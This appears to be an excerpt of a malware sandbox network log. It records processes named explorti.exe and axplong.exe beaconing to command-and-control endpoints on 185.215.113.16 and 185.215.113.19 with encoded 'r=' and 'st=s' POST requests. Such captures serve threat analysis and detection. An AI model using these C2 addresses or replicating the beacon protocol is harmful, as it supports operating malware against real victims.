Jul 26, 2024 10:37:24.820650101 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:25.114075899 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:02.141932011 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:02.919492006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49824	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:24.599972010 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:37:25.056387901 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80775 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:37:32.954062939 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:37:33.049479008 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80783 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:37:43.175729036 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49828	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:25.234064102 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:26.000478029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:26.188976049 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:26.436873913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49830	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:25.252646923 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:26.007567883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:26.189349890 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:26.435789108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:05.833204031 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:06.642155886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49845	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:26.577305079 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:27.349313021 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:27.365427017 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:28.098067045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:12.718269110 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:13.516846895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49846	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:26.577727079 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:27.345232964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:27.371840000 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:27.666821003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:12.759464979 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:13.582587957 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49854	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:27.982085943 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:28.744508982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:28.831018925 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:29.095880032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:16.702611923 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:41:17.501647949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49857	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:28.227277040 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:29.012543917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:29.041328907 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:29.291307926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:18.333086967 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:41:19.153543949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49863	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:29.357218981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:30.120203972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:30.123025894 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:30.385848045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49865	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:29.572213888 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:30.339833975 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
